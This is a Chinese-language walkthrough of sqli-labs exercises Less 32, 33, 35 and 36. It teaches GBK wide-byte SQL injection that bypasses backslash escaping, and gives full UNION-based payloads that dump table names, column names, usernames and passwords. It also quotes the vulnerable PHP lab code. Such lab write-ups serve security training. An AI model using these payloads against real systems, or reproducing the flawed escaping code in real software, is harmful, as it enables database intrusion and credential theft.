sqli-labs 通关指南:Less 32、33、35、36
Less 32、33、35、36 都涉及到了对注入参数的转义,在一般情况下是不能注入的。但是当数据库使用 GBK 国标码或者其他编码时,可以使用恶意的参数把用于转义的斜杠“吃掉”变成其他字符,这就是所谓宽字节注入。使用宽字节注入绕过转义之后,其他的注入步骤和 Less 1 相似。
Less 32
判断注入类型
注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。
?id=1'
对于一般的转义字符,我们是无法构造注入的 payload 的,但这并不代表网页就没有任何漏洞可以注入。对宽字节注入漏洞进行测试,注入如下参数。当数据库的编码采用 GBK 国标码时,虽然单引号还是会加上反斜杠从而被转义,但是 “%df” 会和反斜杠的 URL 编码 “%5C” 闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了。
?id=1%df'
这种操作是由于 GBK 国标码是双字节表示一个汉字,因此导致了反斜杠和其他的字符共同表示为一个汉字。这可以让数据库的 SQL 查询了正确的参数(汉字),从而可以使用 UNION 语句进行注入。
获取数据库信息
使用单引号闭合时使用宽字节注入,其他步骤和 Less 1 差别不大。判断表有几列:
?id=1%df' ORDER BY 3--+
?id=1%df' ORDER BY 4--+
判断哪几列可用。
?id=-1%df' UNION SELECT 1,2,3 --+
爆数据库名。
?id=-1%df' UNION SELECT 1,database(),3 --+
爆表名,注意此处数据库名要用十六进制 (HEX) 编码替代,避免单引号的使用。
?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+
爆字段名。
?id=-1%df' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+
获取目标信息
爆出用户名和密码,注意不要使用单引号来闭合字符串,改用十六进制编码。
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
网页源码
SQL 查询语句
可以看到 id 参数传入时,会先经过 check_addslashes() 函数,该函数起到的作用应该就是转义字符了。注意网页会把数据库的编码改成 GBK,给宽字节注入提供了可能性。
$id = check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
// connectivity
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
check_addslashes() 函数
该函数使用正则表达式匹配字符,将 ' 转义为 ' , 将 \ 转义为 \ ,将 " 转义为 "。
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
Less 33
判断注入类型
注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。
?id=1'
仍然使用 “%df” 和反斜杠的 URL 编码 “%5C” 闭合,进行宽字节注入。
?id=1%df'
把后面的内容注释掉,网页返回正常信息,说明此处使用单引号闭合。
?id=1%df'--+
获取目标信息
注入的 payload 和 Less 32 完全一样,爆出用户名和密码。
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
网页源码
SQL 查询语句
$id = check_addslashes($_GET['id']);
// connectivity
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
check_addslashes() 函数
此处的过滤函数是 addslashes() 函数,用于在预定义字符之前添加反斜杠,预定字符有单引号、双引号和反斜杠。
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
Less 35
判断注入类型
注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。
?id=1'
仍然使用 “%df” 和反斜杠的 URL 编码 “%5C” 闭合,进行宽字节注入。测试下面的所有参数都注入失败,那应该就是数值型注入。
?id=1%df'--+
?id=1%df')--+
?id=1%df'))--+
?id=1%df"--+
?id=1%df")--+
?id=1%df"))--+
直接用 ORDER BY 排序,网页回显正常数据,确定是数值型注入。由于数值型注入不涉及任何编码问题,因此任何转义操作都形同虚设。
?id=1 ORDER BY 3--+
获取目标信息
注入的 payload 和 Less 1 完全一样,爆出用户名和密码。
?id=-1 UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
网页源码
SQL 查询语句
$id = check_addslashes($_GET['id']);
// connectivity
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
check_addslashes() 函数
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
Less 36
判断注入类型
注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。
?id=1'
仍然使用 “%df” 和反斜杠的 URL 编码 “%5C” 闭合,进行宽字节注入。
?id=1%df'
把后面的内容注释掉,网页返回正常信息,说明此处使用单引号闭合。
?id=1%df'--+
获取目标信息
注入的 payload 和 Less 32 完全一样,爆出用户名和密码。
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
网页源码
SQL 查询语句
此处用于过滤的函数是 check_quotes() 函数。
$id = check_quotes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
check_quotes() 函数
过滤函数是 mysql_real_escape_string() 函数,它用于转义 SQL 语句中使用的字符串中的特殊字符。特殊字符有:\x00、\n、\r、\、'、"、\x1a。
function check_quotes($string)
{
$string = mysql_real_escape_string($string);
return $string;
}